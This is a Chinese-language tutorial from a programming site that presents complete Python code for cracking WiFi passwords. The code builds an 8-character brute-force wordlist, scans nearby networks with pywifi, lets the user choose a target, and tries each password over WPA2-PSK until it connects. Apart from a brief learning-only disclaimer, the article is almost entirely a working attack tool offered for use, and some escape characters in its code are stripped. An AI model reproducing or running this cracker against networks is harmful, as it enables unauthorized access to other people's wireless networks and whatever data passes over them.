首頁 > 軟體

python破解WiFi教學程式碼,Python蹭網原理講解

2023-11-01 18:00:24

用Python生成一個簡單的密碼本,一般是有數位、字母和符號組成,這裡用到的思路主要是窮舉法。通過使用pywifi 模組,根據密碼本暴力破解WiFi。

宣告:本文只是從技術的角度來闡述學習Pywifi庫!並不建議大家做任何破壞性的操作和任何不當的行為!

一、安裝pywifi

pywifi是在python中一個用於操作無線介面的模組,可以跨平臺使用,Windows和Linux都支援

在notebook或者pycharm、anaconda中安裝

pip install pywifi

二、構建wifi密碼字典

一般字典包括數位(0-9)、字母(a-z,區分大小寫)、特殊字元(!@#$%^&*()_+=-)

常規的wifi密碼為8位元,且僅包括數位和小寫字母,所以我們可以從數位和字母組成的字串中隨機挑選出8位元(單個字元可重複出現),作為wifi密碼組成字典存入txt檔案。

也可以去網上下載一個常用wifi密碼,只要是TXT文字就可以.

import itertools as its
words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字元
r =its.product(words,repeat=8)  #組成8位元字串
dic = open("pwd.txt","a")      #儲存為wifi密碼字典
#wifi密碼完成換行,並寫入txt檔案
for i in r:
    dic.write("".join(i))
    dic.write("".join("n"))
dic.close()

三、python實現wifi破解

import pywifi
import time
from pywifi import const
 
# WiFi掃描模組
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一個無線網路卡
    interface = wifi.interfaces()[0]
    # 開始掃描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')')
    print('r掃描完成!n' + '-' * 38)
    print('r{:4}{:6}{}'.format('編號', '訊號強度', 'wifi名'))
    # 掃描結果,scan_results()返回一個集,存放的是每個wifi物件
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解決亂碼問題
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表並按訊號排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化輸出
    while num < len(wifi_name_list):
        print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list
 
# WIFI破解模組
def wifi_password_crack(wifi_name):
    # 字典路徑
    wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼佔據1行)的路徑:")
    with open(wifi_dic_path, 'r') as f:
        # 遍歷密碼
        for pwd in f:
            # 去除密碼的末尾換行符
            pwd = pwd.strip('n')
            # 建立wifi物件
            wifi = pywifi.PyWiFi()
            # 建立網路卡物件,為第一個wifi網路卡
            interface = wifi.interfaces()[0]
            # 斷開所有wifi連線
            interface.disconnect()
            # 等待其斷開
            while interface.status() == 4:
                # 當其處於連線狀態時,利用迴圈等待其斷開
                pass
            # 建立連線檔案(物件)
            profile = pywifi.Profile()
            # wifi名稱
            profile.ssid = wifi_name
            # 需要認證
            profile.auth = const.AUTH_ALG_OPEN
            # wifi預設加密演演算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密碼
            profile.key = pwd
            # 刪除所有wifi連線檔案
            interface.remove_all_network_profiles()
            # 設定新的wifi連線檔案
            tmp_profile = interface.add_network_profile(profile)
            # 開始嘗試連線
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 介面狀態為4代表連線成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連線,若要提高準確性可以設定為2s或以上,相應暴力破解速度就會變慢)
                if interface.status() == 4:
                    print(f'r連線成功!密碼為:{pwd}')
                    exit(0)
                else:
                    print(f'r正在利用密碼 {pwd} 嘗試破解。', end='')
# 主函數
def main():
    # 退出標緻
    exit_flag = 0
    # 目標編號
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi萬能鑰匙'.center(35, '-'))
            # 呼叫掃描模組,返回一個排序後的wifi列表
            wifi_list = wifi_scan()
            # 讓使用者選擇要破解的wifi編號,並對使用者輸入的編號進行判斷和例外處理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('請選擇你要嘗試破解的wifi:'))
                    # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入
                    if target_num in range(len(wifi_list)):
                        # 二次確認
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                # 對使用者輸入進行小寫處理,並判斷
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 處理使用者其它字母輸入
                                else:
                                    print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 處理使用者非字母輸入
                            except ValueError:
                                print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出破解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('請重新輸入哦(*^▽^*)')
                except ValueError:
                    print('只能輸入數位哦o(* ̄︶ ̄*)o')
            # 密碼破解,傳入使用者選擇的wifi名稱
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e
 
 
if __name__ == '__main__':
    main()

到此這篇關於python破解WiFi教學程式碼,Python蹭網原理講解的文章就介紹到這了,更多相關python破解WiFi內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com